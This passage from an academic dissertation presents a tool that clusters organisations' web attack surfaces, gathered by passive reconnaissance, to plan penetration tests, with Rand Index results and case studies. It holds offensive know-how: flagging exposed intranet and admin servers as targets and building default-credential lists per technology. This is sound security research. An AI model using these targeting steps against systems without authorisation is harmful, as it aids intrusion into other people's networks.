for each port and protocol (HTTP or HTTPS) pair found. If the IP address was not

found in Censys, two entries were created, one each for HTTP and HTTPS. Since no

port was specified for these, our recon script used the default ports of 80 and 443,
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respectively. Python was also used to eliminate RFC 1918 addresses since they could

not be accessed from the Internet [141]. Whois queries against each remaining IP

address determined the Autonomous System Number (ASN) description. The ASN

description would be later used as a security-relevant feature.

5.1.2.3 Use selenium-wire to gather HTTP response and DOM data

We used the selenium-wire library to browse the root path for each host/port

pair with a Chromium browser. Selenium-wire was chosen because it allows the script

to access response information, not just the rendered DOM in the browser. This fea-

ture allowed the retrieval script to gather headers, certificate information, and other

information that the as-built selenium library did not allow. In the interest of good

Internet citizenship, the retrieval Python script provided options to selenium-wire

so that the Chromium browser transmitted a customized user-agent header contain-

ing a link to a description of the project with instructions on how to receive more

information or opt out of this research entirely [147].

The information described below was captured and saved in a single file per

path/port pair:

• Path: the URI used by the Chromium browser to access the site, i.e.

https://example.com

• IP address: the IP address returned by the DNS resolver in a prior step

• ASN description: the ASN description, which helps differentiate cloud-hosted

systems from those hosted on-premises

• Certificate information: detailed information about the certificate used to pro-

tect HTTPS sites. This information was not used because the script routed

107



requests through Burp Proxy Suite, which interrupts the connection to decrypt

and analyze the responses and thus provides its own certificate.

• HTTP response headers: a list of the response headers returned by the server

• HTTP status code and reason: the status code and reason (i.e., 301 Moved

Permanently) returned by the server

• Raw response: the bytes of the response body, decoded according to the content

encoding specified by the server.

• Outer HTML: the outer HTML of the response as shown in the browser DOM.

In some cases this would be the same as the raw response. However, if the

browser was redirected or the DOM was dynamically created by JavaScript,

the Outer HTML would represent a more accurate picture of the final page as

loaded from the domain.

• List of requests: a list of all requests made by the browser as a result of the

initial request. This includes all redirects as well as all script includes, css files,

images, etc.

• A screen capture of the web page as it appeared in the browser

5.1.2.4 Use Burp Proxy Suite to passively collect limited vulnerability

information

As mentioned earlier, every request was routed through Burp Proxy Suite.

Using a licensed professional version of the software, it was possible to obtain a limited

list of passive vulnerabilities from every site scanned. It would be inappropriate

and potentially illegal to actively test sites for vulnerabilities without permission.
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However Burp finds some vulnerabilities using passive scanning, meaning it searches

through the responses received for common vulnerabilities. Burp’s passive scanning

cannot detect SQL injection or Cross-Site Scripting, for example, but it will identify

many common vulnerabilities, including cookies missing recommended flags, insecure

password submittals, and many more.

Once data retrieval for a particular network was completed, the vulnerabilities

were saved in XML format from Burp. The Burp session, containing a complete

record of the requests and responses, was saved in case additional information was

needed later.

5.1.3 Results

Just because a certificate was issued for a subdomain, it doesn’t mean it is

Internet-facing, used as the name for a website, or even used at all. Thus a large

number of subdomains were found in reconnaissance, but a notably smaller number

were ultimately found to be hosting valid web sites accessible from the Internet. Table

5.1 shows these numbers as categorized by the industry of the network in each of the

twelve data sets.

5.2 Developing the Framework

The studies conducted in Chapter 3 focused on a small subset of relatively

consistent features, so experimentation was conducted using Python scripts and im-

porting data from CSV files or JSON, and parameters for the similarity and clustering

algorithms were made directly in code. Because of the number and diversity of fea-
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Industry of Target Network Subdomains Found Websites Found

Financial 2,669 185
Hospital System 149 90
College 1,304 636
Food 808 325
Tourism 2,620 367
Professional 1,977 476
Hospitality 1,227 620
Resort 901 161
Government 1,202 409
Travel 1,853 480
Healthcare 4,256 948
Retail 6,221 636

Table 5.1: Subdomains and web sites in study

tures found in a web attack surface, a different approach was used.

We designed and developed a Python application framework called Attack Sur-

face Processor (ASP). This GUI and framework processed and clustered the nodes

on the attack surface based on security-relevant features1. A security-relevant feature

could be any characteristic of an attack surface node where a difference or similarity

could make the node interesting from a security perspective. The definition of “in-

teresting” varies based on the purpose of the analysis. For example, a penetration

tester searching for vulnerabilities has different goals and objectives than a red team

seeking to simulate a threat searching for a quiet entry point into the network.

Security-relevant features can also be derived from security guidance like the

OWASP Top Ten, shown in Table 5.2. The OWASP Top Ten is a list of security

risks deemed most important by the Open Web Application Security Project. It is an

industry-standard framework followed by many organizations and used to categorize

vulnerabilities and develop test plans [125]. By reviewing security guidance and asso-

ciated test techniques, we could determine the features most relevant to a particular

1ASP is available as open source at https://github.com/0xd0ug/asp.
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ID OWASP Top Ten Item

A01 Broken Access Control
A02 Cryptographic Failures
A03 Injection
A04 Insecure Design
A05 Security Misconfiguration
A06 Vulnerable and Outdated Components
A07 Identification and Authentication Failures
A08 Software and Data Integrity Failures
A09 Security Logging and Monitoring Failures
A10 Server Side Request Forgery (SSRF)

Table 5.2: OWASP Top 10 Security Risks [125]

A01 A02 A03 A04 A05 A06 A07 A08 A09 A10

ASN description ✓ ✓ ✓

Cookie names ✓ ✓ ✓ ✓

WWW-Authenticate Header ✓ ✓ ✓ ✓ ✓ ✓ ✓

Location header ✓ ✓

Non-password forms ✓ ✓ ✓

Password forms ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓

Port ✓ ✓

Server header ✓

Status code ✓ ✓ ✓

X-Powered-By Header ✓

Table 5.3: Possible applicability of each feature to OWASP Top 10
✓ means the feature in the first column could be relevant to the vulnerability in the top row.

security vulnerability.

Below is a list of security-relevant features and the reason they were chosen for

this iteration of the framework. The relevant OWASP Top 10 risk(s) for each feature

are shown in Table 5.3.

• Autonomous System Number Description: This indicates the network operator

of the system. ASN’s can help testers differentiate cloud systems that require
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additional test techniques. Outliers could indicate third party systems that re-

quire additional permission to test legally or systems hosted individually, which

may not be subject to the same security controls as systems in the “primary”

ASN.

• Cookie Names: Cookies are used to track state between multiple stateless HTTP

requests [94]. The names of these cookies (i.e. JSESSIONID, SM USER) can

indicate the technology used to handle authentication.

• Location Header: This indicates the URL the web server instructs the web

browser to visit during a page redirect. This can provide clues about site struc-

ture and, for authenticated sites, may provide clues about the authentication

mechanism in place.

• Non-password Forms: Forms not used for login purposes may be used to enter

general data which could be reflected, stored, or used to make database queries.

These forms need to be tested for injection vulnerabilities.

• Password Forms: These forms are usually used for logins or changing/setting

passwords or other confidential information. Similar forms are more likely to

have similar purpose or similar underlying technology.

• Port: Research on Censys and Nmap documentation show that most web ser-

vices listen on ports 80 and 443 [102, 44]. Web services listening on other

ports could indicate atypical services that require different testing methods or

non-public services of higher interest.

• Server Header: The server header indicates the software that responded to the

HTTP request[118]. The grouping of server headers can indicate how many

different technologies are in use and how consistently they are updated.
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• Status Code: The HTTP status code indicates the result of the request [55].

Certain values could indicate the site is behind authentication or malfunction-

ing, and outliers could indicate unique server configurations or types.

• WWW-Authenticate Header: This header is an authentication challenge con-

taining the authentication method requested and any parameters (sometimes a

message to be displayed in a dialog box to the user) [55]. Outlier values could

indicate authentication that is not centrally managed.

• X-Powered-By Header: This header describes the technology behind the web

site, e.g. PHP, ASP.NET. Contrast this with the server header described above,

which tends to describe the web server itself. OWASP recommends removing

this header because it is helpful to an attacker. Though less frequent than the

server header, the clustering of this header can indicate the spread of technolo-

gies used within the attack surface and how consistently they are updated [124]

ASP allows the user to pick one of the features above by which to cluster the

data set using agglomerative clustering. Similar to the previous study, the sklearn

agglomerative clustering function was used, and distances were pre-computed [131].

The ASP GUI is shown in Figure 5.1. Ultimately, ASP outputs a test plan showing

the attack surface compressed by security-relevant features, and it includes general

test guidance for each security-relevant feature based on OWASP recommendations.

An excerpt from that test plan for a single cluster is shown below:

• Feature: ASN Description

• Web Site List: Redacted (106 sites in this cluster)

• Features in cluster: AMAZON-02, AMAZON-AES
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Figure 5.1: Attack Surface Processor User Interface

• Test guidance:

– Ensure organizations are in scope.

– Identify and test cloud systems separately.

– Identify unusual organizations and determine their sites’ purpose.

A significant part of this research involved identifying the best way to compute

similarities for each type of feature. Since the agglomerative clustering algorithm

doesn’t change from feature to feature or data set to data set, the similarity between

features in a feature set is the key to success.

There are several algorithms capable of computing similarity between two

strings [57]. For most string features in this research, the Jaro string similarity [121]

was used. Jaro computes a similarity ratio from 0 to 1, with a score of 1 for a pair

indicating an exact match and 0 indicating no similarity. Jaro was chosen because

it works on strings of different length, but also because it has a counterpart, Jaro-

Winkler [61], which uses the same basic algorithm with a slight weighting for the
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similarity of the front of the string. This front-weighting is useful in some instances.

For example, server headers frequently provide a product name, e.g. Apache, followed

by a version number, e.g. 2.4.1. Relatively speaking, the Jaro-Winkler algorithm gives

a higher similarity score for two Apache servers than it would for an Apache server

and a server from a different technology. This is a desired outcome: grouping similar

server technologies together so outliers are more easily detected.

For all string similarities regardless of weighting, we modified the algorithm

to ensure that when two empty strings were compared, the similarity was returned

as 1 (perfectly similar). Jaro typically returns a 0 for these strings, because they

have no matching characters. This is undesirable, because the zero similarity score

would result in all blank strings being individual outliers, when for this study it was

preferred to have empty values grouped together in a single cluster so the reason for

the empty value can be investigated, or so they can be ignored as a group without

drawing attention from the more interesting outliers.

Multiple methods were considered for each security-relevant feature before

settling on the methods below:

• ASN Description: Front-weighted string similarity was used because an inspec-

tion of ASNs in general showed that ASNs from the same company tend to start

with the same name.

• Cookie Names: Front-weighted string similarity was effective here as well, be-

cause several cookies were observed to consist of a prefix followed by a random

value and/or a timestamp. Front-weighted strings increased the likelihood these

similar cookies would be grouped together.

• Location Header: Location header similarity was ultimately computed using a

customized back-weighted string. Early attempts used standard string similar-
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ity, but many location headers were inconsistent. Better results were achieved

by reversing the string before applying Jaro-Winkler (effectively a back-weighted

similarity), but random parameters in some location headers caused an issue.

Thus the location header was transformed to remove everything after the first

parameter name. Then back-weighted Jaro similarity was used. This allowed

the parameter name and file extension (if present) to weight the similarity, re-

flecting the desire for the technology/configuration to matter more than the

domain.

• Password and Non-password Forms: For each type of form (password and non-

password), Jaccard similarity was computed. Pre-processing created a set of all

unique words across all instances of that type of form in the dataset. It was then

determined which forms had the most words in common. This method ignores

duplicate words, ignores the order of parameters, and gives equal weight to

parameters and values.

• Port: String similarity was used for ports, with a 20% weight based on the

category of the port (e.g. well-known, registered, or dynamic/private). This

addressed a recurring issue that showed very high ports were being arbitrarily

clustered with common lower ports.

• Server Header: Front-weighted strings were used for server headers, for the

reasons outlined above (keeping similar technologies together to detect outlier

versions).

• Status Code: Front-weighted strings were used for status codes, because they

are categorized by the first digit, with most common codes having zero for their

second digit [55].
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• WWW-Authenticate Header: String similarity was used for this header, be-

cause similar technologies will produce similarly-formatted headers, even if the

message for the user and other parameters are different.

• X-Powered-By Header: Front-weighted string similarity was used for this header,

for the same reasons as the server header.

ASP also allows the user to specify the distance threshold, a key parameter

in agglomerative clustering, by moving a slider in the UI. The agglomerative cluster-

ing algorithm begins with each node in its own individual cluster, then recursively

combines nodes if their distance falls below the given distance threshold. Computing

similarities is the computationally-intensive part of this exercise; the actual cluster-

ing is nearly instantaneous for the data sets used in this study. The end result of

this speed is that a user can move the distance slider in the UI and see the results

dynamically.

ASP displays the results in a text box sorted by cluster. Clusters are sepa-

rated into multiple lines with each line representing the nodes where the features are

identical. So a group of nodes clustered together on a feature where within the cluster

there were five unique features would be separated into five lines. This is analogous

to the “intra-cluster outliers” used in the previous study of network attack surfaces,

where the most prevalent item in the cluster was identified. A single line represent-

ing a single feature can be highlighted and then “fixed” in the GUI, filtering out all

other clusters. This has two purposes. First, the user can use the distance threshold

slider to determine optimal clustering by easily seeing which distance threshold value

optimally groups other nodes with the chosen feature. Second, the user can choose

to split the cluster by another feature to gather more information about the cluster.

For example, did all nodes that returned the same WWW-Authenticate Header re-
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turn the same status code? If not, this indicates a potentially different technology or

configuration that bears investigation.

We developed and tested ASP’s one-click automatic planning function during

the experiment outlined below. By clicking the “Auto Plan” button with a feature

highlighted, ASP will cluster the attack surface based on the current feature using

the ideal distance threshold. The “Auto Plan All” button generates clusters and

plans for every feature with a single click. The end result is a listing of web sites and

the recommended action to take for each, grouped according to similar sites to allow

easy identification of “interesting” sites and duplication of similar test actions to save

effort.

5.3 Experiment

To conduct the experiment, we chose 6 of the 12 organizations in the data set

at random. We used ASP to manually cluster each data set by each security-relevant

feature. The distance threshold was adjusted with the goal of grouping nodes with

similar features while also isolating nodes with interesting features. A minimum and

maximum distance threshold was identified and recorded for each case. Then we

analyzed each cluster for each security-relevant feature in each data set to gather

data to calculate the Rand Index. These values would help determine if a web attack

surface could be meaningfully compressed by each security-relevant feature

Following this, a median distance threshold for each feature was calculated

and coded into the algorithm for each feature, and the experiment was repeated for

the remaining 6 organizations, this time without adjusting the distance threshold.

Again, we analyzed each cluster to gather data to calculate the Rand Index. These

values were compared to the previous values to determine the feasibility of clustering
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the attack surface automatically, without having to manually choose the distance

threshold.

5.3.1 Determining the ideal distance threshold

To explain the methodology for determining the ideal distance threshold, it

is necessary to return to the intent of this study, reducing the workload for manual

offensive security testing. The algorithm implemented by ASP does this by grouping

similar nodes so that similar test cases can be repeated, and by highlighting interesting

nodes that require unique testing or may be of higher interest to a tester.

We loaded each data set into ASP, and each security-relevant feature was

selected. Upon choosing a feature, ASP clusters based on a default distance threshold

(at the beginning, this was set to 0.2). The distance threshold slider was then adjusted

until clusters were separated in an ideal fashion. What constitutes “an ideal fashion”

can vary from test purpose to test purpose. For the purposes of this study, the

following general definitions were used:

• ASN Description: Nodes on networks controlled by similar organizations

• Cookie Names: Nodes with cookies whose names appear to indicate a similar

underlying technology

• Location Header: Nodes that redirect to a similar technology or function

• Password and Non-password Forms: Nodes with a form that appears similar in

function or underlying technology

• Port: Nodes on ports that typically represent similar technologies/levels of in-

terest
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• Server Header: Nodes based on similar technology

• Status Code: Nodes with status codes that indicate a similar server reaction

• WWW-Authenticate Header: Nodes with similar authentication mechanisms

• X-Powered-By Header: Nodes based on similar technology

By combining items with similar values for each security-relevant feature,

testers can repeat and where possible automate tests for those nodes based on the fact

that similar actions would be appropriate for each node. Furthermore, testers can

review interesting nodes that were not clustered by the algorithm or were clustered

into a small unique group and manually review/test them as the unique nodes they

are.

For example, in most of the data sets, the ASN Description consisted of a

large cluster or clusters of nodes under the same/similar ASN. This is expected, as

most companies will host their systems under their own ASN or under a single cloud

provider. The most interesting nodes are the “outlier” nodes where a single or a few

nodes are found alone under an ASN. Are these nodes serving a unique purpose? Are

they not managed by the primary IT department? For whatever reason, they are

worth a closer look.

Listening port is another excellent example. Data gathering for this study

showed that nodes will group themselves around the most common ports, 80 and

443. Systems on other ports will generally require the browser to have the port

manually entered at the end of the URL, so these are often used for administrative

or other non-public uses. They are interesting and bear closer attention as well. If

several nodes are grouped because they listen on the same non-standard port, that is

interesting too.

120



Once the “ideal” distance threshold was determined, the distance threshold

slider was moved up and then down to the highest and lowest values possible such

that the grouping did not change. In other words, any distance threshold between

these upper and lower bounds inclusive would result in the same value. These values

were recorded, and the mean was calculated for each feature in each data set. Once

all six data sets were processed in this manner, the mean value for each feature/data

set pair’s distance threshold was calculated across all six data sets. Then for each

feature, the median of these distance threshold values was calculated and coded into

the algorithm. Those values would become the default value for distance threshold

for each feature and were used to process the remaining six data sets without user

interaction.

5.3.2 The Rand Index

The Rand Index (RI) is a method used to determine how close the answers

are between two clustering algorithms [144]. RI considers each pair in a data set and

calculates the ratio of the pairs which were clustered the same in each group to the

total number of pairs. RI is thus a simple accuracy calculation. If every pair that

was put together by one algorithm was also put together by another, and every pair

that was separated by the one algorithm was also separated by the other, then RI is

equal to 1.

A typical equation for RI is shown in Equation 5.1, where a and d represent

the number of pairs where both algorithms agreed on the outcome (paired together

and separately, respectively), and b and c represent the number of pairs where the two

algorithms disagreed on the outcome (paired together in the first but separately in

the second and paired separately in the first but together in the second, respectively).
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a+ d

a+ b+ c+ d
(5.1)

RI can also be used to determine how closely a clustering algorithm aligns

with ground truth by replacing the first clustering algorithm results with ground

truth. For the data in our study, there is frequently no one ground truth because

the goal is to group nodes together and highlight unique nodes. As such, the bar for

ground truth accuracy is much lower since there are often several acceptable “ground

truths”. Thus the question becomes “How closely did the algorithm approximate

a useful grouping?” rather than “How closely did the algorithm approximate the

correct grouping?” Because of this, it is easier and more useful to measure incorrect

decisions rather than correct ones. It is feasible to review clustering output, identify

which nodes are out of place, and calculate the disagreements b and c. We can then

calculate RI using Equation 5.2.

1− b+ c

a+ b+ c+ d
(5.2)

For example, consider the excerpt showing only one cluster from data set 4 in

Table 5.4. The algorithm incorrectly clustered these 14 nodes together. The 10 nodes

with the same server header were correctly clustered together, as were the 4 nodes

with the same server header. But web is not related to awselb/2.0 in a meaningful

way, so the 10 shouldn’t have been paired with the other 4, meaning 40 pairings were

incorrect. So assuming this was the only error, b = 0 and c = 40. b + c = 40. Data

set #4 had 325 nodes, and 325(325−1)
2

= 52, 650 pairs, so RI = 1− 40
52650

= 0.99924

RI is not without its problems. Even a dataset clustered randomly will not
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Node Count Server Header

10 web
4 awselb/2.0

Table 5.4: Cluster from data set #4 with nodes incorrectly paired

have a zero score, and RI is less useful for evaluating a large number of clusters [144].

In spite of these limitations, RI is above all else the ratio of correct decisions to total

possible decisions. Since this study is not comparing values externally, and since a

case study below will demonstrate what a “low RI score” translates to qualitatively

for this data set, RI is perfectly adequate for this intent.

5.3.3 Statistical Results

The results for the first six data sets are shown in Table 5.5. The top row

contains the number which references the data set, and the left column contains

the list of security-relevant features, sorted from highest mean RI to lowest. The

top five features received perfect RI scores for all six data sets. This means that

by manipulating the distance threshold parameter of the clustering algorithm it was

possible to compress the nodes in an “ideal fashion”, which for this study meant that

nodes whose features indicated similar security-related technology, configuration, or

state were grouped together. This manual process which allowed for variable distance

threshold scored a perfect RI for 45 out of 60 feature/data set pairs.

The results for the last six data sets are shown in Table 5.6. These data sets

were compressed using the distance threshold values for each feature calculated from

the previous step. The compression was performed using ASP’s one-click automatic

planning function, so there was no opportunity to tune the algorithm by adjusting
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Feature / Data Set 1 3 6 7 9 11 mean

Auth header 1.000 1.000 1.000 1.000 1.000 1.000 1.000000
Non-password forms 1.000 1.000 1.000 1.000 1.000 1.000 1.000000
Status code 1.000 1.000 1.000 1.000 1.000 1.000 1.000000
X-powered-by 1.000 1.000 1.000 1.000 1.000 1.000 1.000000
ASN description 1.000 1.000 1.000 1.000 1.000 1.000 1.000000
Server header 1.000 0.999 1.000 1.000 0.999 1.000 0.999959
Port 1.000 0.999 1.000 0.999 0.999 1.000 0.999924
Password forms 0.999 1.000 1.000 1.000 1.000 1.000 0.999873
Cookie names 1.000 1.000 0.999 1.000 0.999 0.999 0.999715
Location header 0.998 0.999 0.999 0.999 0.999 0.999 0.999298

Table 5.5: Rand indices (manual/variable)

Feature / Data Set 2 4 5 8 10 12 mean

Auth header 1.000 1.000 1.000 1.000 1.000 1.000 1.000000
Non-password forms 1.000 1.000 1.000 1.000 1.000 1.000 1.000000
Status code 1.000 1.000 1.000 1.000 1.000 1.000 1.000000
X-powered-by 1.000 1.000 1.000 1.000 1.000 1.000 1.000000
Server header 1.000 0.999 1.000 1.000 1.000 1.000 0.999873
Password forms 0.999 1.000 1.000 0.999 1.000 1.000 0.999751
ASN description 1.000 1.000 0.995 1.000 1.000 1.000 0.999154
Location header 1.000 0.997 0.999 1.000 0.985 1.000 0.996960
Port 1.000 1.000 0.998 1.000 1.000 0.982 0.996791
Cookie names 0.928 1.000 0.999 1.000 1.000 0.996 0.987348

Table 5.6: Rand indices (automated/fixed)

the distance threshold. As before, these results are sorted from highest mean RI to

lowest, and the top four features received perfect RI scores. Most features compressed

well, though there is a significant drop-off in RI for location header, port, and cookie

names, indicating these features did not automate as well as the others. Even so,

the automated process which did not allow for any distance threshold adjustment,

scored a perfect RI for 48 out of 60 feature/data set pairs, outperforming the manual

process.
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In order to further determine if automation was feasible, we used the Mann

Whitney U test to determine if the means of the RI values calculated for automatic

data sets differed significantly from those calculated for the manual data sets. In this

case, disproving the null hypothesis would indicate that these two processes provided

significantly different results. The scipy.stats mannwhitneyu module was used to

compute Mann Whitney U at a significance level of 0.05 against the normal distribu-

tion with correction for the fact that RI is continuous. The result was p = 0.2505, and

since p > 0.05, the null hypothesis cannot be rejected, and there is no statistically

significant difference between RI for the automatically-generated compressions and

the manual ones [150, 103].

5.3.4 Case Studies

Since one purpose of our study was to determine if the techniques would gen-

erate meaningful compressions for offensive security testing, it is important to review

case studies of examples using actual ASP output and walking through what a typical

tester might do with the data. The case studies are similar to those in the previous

network attack surface studies.

5.3.4.1 Worst case

The compression with the lowest RI was the automated compression of data set

#2 using the cookies feature, with a score of 0.928. The results for this compression

are shown in Table 5.7. Developing a use case for this worst case will help illustrate

the anticipated lower-bound performance of the algorithm.

The reason for the lower RI score for this compression is two-fold. First, data

set #2 was the smallest data set, having only 90 nodes in a group of data sets with
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a mean of 443 nodes. Second, it is reasonable to assume that all the cookies that

begin with NSC JO should be clustered together because they were likely generated

by a similar technology. However, while 28 of these cookies are clustered together

(because they are identical), 9 of these cookies were not clustered with any others or

themselves. So 28 should have been clustered with the 9, and the 9 should have been

clustered together. This counts as 28 ∗ 9 + 9(9−1)
2

or 288 mistakes, representing the

pairs that were together in the ground truth but not paired together by the clustering

algorithm. The count of those pairs becomes the b value in Equation 5.2.

However, these nodes are only separated into two places: Cluster 1 and the

grouping of outlier nodes. It is trivial for the tester to recognize this and apply the

same action to these two groupings. Thus even the compression with the lowest RI

score is valuable, and the variance from ground truth does not significantly impact

the level of effort. This can be observed in the walk-through of potential tester actions

below.

Following are actions a tester might take using the information from this com-

pression:

• 32 of the 90 nodes did not set a cookie upon first request, so there is nothing

to investigate on these nodes with respect to cookies.

• Cluster 1 contains 28 nodes that set a cookie with the exact same name, even

though it appears to have a pseudorandom suffix. This might be indicative of

a Cryptographic Failure.

• The nodes with similar cookie prefixes in the outliers may be generated from a

system with similar technology and can be investigated together.

• The nodes in cluster 4 set a shorter cookie with a similar prefix. These systems
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Index Cluster Count Cookie names
0 0 4 ARRAffinitySameSite
1 1 28 NSC JObmcvwlblztk4adyswgejeui45zzcs
2 2 2 incap ses 8217 2835673
3 3 2 affinity
4 4 2 NSC GSLB 00000050
5 4 1 NSC GSLB 00000cb3
6 4 1 NSC GSLB 00000875
7 5 2 SESSION
8 6 32
9 OUTLIERS 1 autolaunch triggered
10 1 biobank
11 1 DEFAULTLOCALE
12 1 connect
13 1 NSC JO1g0a00d30h5ctbekbq0hb0enpv3cs
14 1 NSC JOiq2kq2c0sapx1ejnrzqpcnnu40kds
15 1 NSC JO2xqqu2ef4q533dtvicdibju0iumds
16 1 NSC JOup3vrjdwsbkdtdknwu4newrei2mcs
17 1 NSC JOj0n40jd3cvmqyc2k3evtcqgnfkfds
18 1 NSC JO3jdm5zes4uvsgcias44uczmoidzbs
19 1 isMobileDevice
20 1 a39c2770dc13680d7e82f5b99714da9f
21 1 NSC JOgt24oyddwpd1vdvkzrs0c1pudm1cs
22 1 NSC JOvyheo5e32vzdzctnbpxldhvfvc4es
23 1 MyChartPersistence
24 1 NSC JO44nwoodyho0ntegv52o5efpagg0es

Table 5.7: Data set #2 compressed by cookies

may be similar but should be investigated as a group.

• The names of the cookies set by the remaining nodes can be researched and

investigated individually.

Our compression of data set #2 by cookies has identified 41 out of 90 nodes

that may be more interesting and should be prioritized by an offensive security tester

to determine their purpose and value.
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5.3.4.2 A Best Case

The highest possible RI was 1.000, meaning that no nodes were incorrectly

paired when they should have been kept apart, and vice versa. Below is a case study

using one of the automatically-calculated data sets using cookies. The compression

is shown in Table 5.8.

Following are actions a tester might take using the information from this com-

pression:

• Cluster 1 contains cookies with similar name likely from similar technologies. A

Google search shows these cookies are associated with Azure, indicating cloud-

based tests might be appropriate.

• The outlier on line 8 is a node with a cookie that contained the name of the

company. This indicates a server that is likely either developed or customized

in-house, driving additional custom offensive security testing.

• Several of the remaining clusters and outliers indicate cookies that are used to

store session information. Analyzing these cookies may be useful to determine

if there are any cryptographic weaknesses or session fixation vulnerabilities.

• The remaining cookies can be researched to determine what technologies they

are associated with. Custom tests can then be derived and executed individu-

ally.

In this data set only 17 of the 325 sites set cookies in response to a request

against the base URL. Only 7 of those 17 have names to indicate they contain session

information. Password forms and basic authentication should also be analyzed to

ensure all sites potentially protected by authentication are identified for testing.
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Index Cluster Count port
0 0 308
1 1 5 ARRAffinitySameSite
2 1 1 ARRAffinity
3 2 2 accelerator session id
4 3 4 VCAP ID
5 OUTLIERS 1 JSESSIONID.1012d7e3
6 1 cc sessions
7 1 PHPSESSID
8 1 [redacted] session
9 1 ASP.NET SessionId

Table 5.8: Data set #4 compressed by cookies

5.3.4.3 Perfect Across The Board

The Authorization Header feature received a 1.000 RI from all 12 data sets.

The compression of data set #9 by this feature is shown in Table 5.9. Following are

actions a tester might take using the information from this compression:

• Cluster 2 looks like a pair of internal servers from the word “intranet” in the

referenced domain. This bears special attention because their being Internet-

facing might be a Security Misconfiguration.

• Cluster 3 has two servers with similar names, one with “sec” (security, possibly?)

and another with “admin”. These could be sensitive servers and worth special

attention.

• For the remaining clusters, researching the responses and reviewing other infor-

mation from the server could provide information on the underlying technology.

This should be used to create a custom list of possible default username/-

password pairs, and it can also be used to tailor a custom dictionary for each

technology.

This compression has highlighted 4 nodes that bear special attention and
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Index Cluster Count Authorization Header
0 0 4 Basic realm=”Horde DAV Server”
1 1 396
2 2 2 Basic realm=”intranet.REDACTED.REDACTED”
3 3 1 Basic realm=”adminfs.REDACTED”
4 3 1 Basic realm=”secfs.REDACTED”
5 4 4 Basic realm=”Restricted Area”
6 OUTLIER 1 Basic realm=”Access Denied”

Table 5.9: Data set #9 compressed by authorization header

helped separate the remaining nodes in a meaningful way that will facilitate eval-

uating these systems for OWASP Top 10 risks.

5.4 Results and Conclusions

5.4.1 Compression by security-relevant features

In this study, we set out to prove for web attack surfaces that compression

by security-relevant features could be done in a way meaningful to offensive security

testing. We chose security-relevant features based on their relevance to the OWASP

Top 10 risk framework [125]. We developed the ASP UI and framework, and proved

it to be capable of compressing the web attack surfaces of 12 diverse organizations in

a meaningful way. Case studies showed how ASP output could be used in an actual

offensive security testing scenario. By compressing the attack surface, ASP combined

nodes with similar technology or configuration so test procedures could be repeated;

and nodes with unique technology or configuration were highlighted so a tester can

properly prioritize them, assess their vulnerability, and apply unique test procedures

where needed. We used the Rand Index to show how well each security-relevant
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feature applied to compress each attack surface, and also used it to rank the features

based on their effectiveness.

5.4.2 Automation

Using the Rand Index, we proved that automation of the process was possible.

By defining the parameters using six randomly-chosen attack surfaces and then testing

the parameters using ASP’s one-click test plan generation feature, automating attack

surface analysis was made possible. Furthermore, perfect Rand Index scores for 48 of

the 60 feature/attack surface pairs from automation was even better than the 45/60

perfect scores for the manually-derived results. The Mann Whitney U test proved

with 95% confidence that there was no significant difference between the automated

and manual results.

5.4.3 Best security-relevant features

Rand Index values provided a mathematical way to identify the best security-

relevant features. For this study, perfect 1.000 Rand Index scores determined that

compressions created using these five features were most likely to have all nodes in

the correct clusters:

• Authentication Header

• Non-password forms

• Status code

• X-Powered-By Header

• Autonomous System Number Description
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For automation, all but ASN Description also received perfect Rand Index

scores. The “worst-case” study showed that even the lowest-performing feature/at-

tack surface pairing still provided a useful clustering.

5.4.4 Room for Improvement

The use of clustering to improve web attack surface mapping is largely depen-

dent on the quality of the similarity measures used to determine which features mean

nodes should be grouped together. The best way to improve this process, therefore, is

to improve the quality of those similarities, to make them more robust and more accu-

rate. For example, port similarity can be improved by better teaching the algorithm

what makes two ports similar. Cookie name similarity (and any other string-based

similarity) could be improved by teaching the algorithm to identify random portions

of the feature and weight them lower. Natural Language Processing and neural net-

works might also be used to improve similarity calculation accuracy and thus the

overall quality of the end product.
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Chapter 6

Conclusions

Our literature review in Chapter 2 showed that most papers considered WAVS

in terms of functionality, specifically mapping, sending attacks, and analyzing re-

sponses. These papers reinforce the assertion herein that most works evaluating web

scanners focus on their performance as a whole, i.e., how many vulnerabilities they

could find. Commercial industry has attempted to provide many end-to-end, auto-

mated solutions, but as Log4Shell demonstrated, security test engineers that conduct

the more manual operations of penetration testing and red teaming would benefit

from a more scalable attack surface map.

In Chapter 3, we successfully clustered the external network attack surfaces

of multiple representative organizations, compressing networks containing thousands

of nodes into a few clusters of similar systems so that a security test engineer can

quickly determine a testing strategy and optimize test cases to significantly reduce

their testing level of effort. We further improved the process using string similarity

to cluster similar services, discovering that this algorithm was effective at not only

separating very dissimilar services, but also grouping together more similar services

while still identifying crucial differences like version numbers that could be the sole
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differentiator between vulnerable and non-vulnerable systems.

In December 2021, the Log4Shell vulnerability was disclosed, and our corre-

sponding study in Chapter 4 provided a detailed timeline and assessment of that

activity. The study demonstrated the variations in performance of the many test

tools that were quickly released to help security teams find and fix the vulnerability

in their networks. This research reinforced the importance of knowing the attack

surface, since so many tools relied on users to provide attack surface entry points for

the tools to test.

Finally, our study in Chapter 5 used red team reconnaissance tools and tech-

niques to passively identify web domains from twelve of the organizations surveyed

in the previous studies. We created twelve data sets using the web server responses

from those domains, and the algorithm from the previous studies was expanded to

cluster each data set. The Rand Index measurements prove the similarity algorithms

developed for the security-relevant features were effective in feeding the agglomerative

clustering algorithm to accurately group similar systems and highlight outliers. The

qualitative examples demonstrated that the methodology allows offensive security

testers and other security professionals, to identify patterns to speed testing across

pages on their website, sites in their companies, and even across multiple compa-

nies. Not least of all, our study measurements also showed that, when calculated

automatically without manual adjustment, the results remained consistent.

This work leaves the door open for research along at least three dimensions:

• Improving similarity calculations for existing features

• Improving the algorithm with multi-dimensional features and principal compo-

nent analysis

• Implementing additional attack surfaces like physical security and social engi-
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neering

The concept of an attack surface has changed dramatically over time. The

introduction of bring-your-own-device, the need to open networks to third-party ven-

dors, and the realization of vulnerabilities associated with software dependencies in

the supply chain have blurred the classic attack surface boundary. The research in our

study has focused on simple network- and application-level attack surfaces to prove

the concept. In doing so, however, a framework has been created that can ultimately

be applied to other attack surfaces as well, including facilities for physical security

analysis and even humans for social engineering analysis. This framework can apply

the concepts of compression and outlier detection proven herein to nearly any type

of attack surface as our understanding of security implications continues to evolve.
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[41] Adam Doupé, Marco Cova, and Giovanni Vigna. Why johnny can’t pentest: An
analysis of black-box web vulnerability scanners. In International Conference
on Detection of Intrusions and Malware, and Vulnerability Assessment, pages
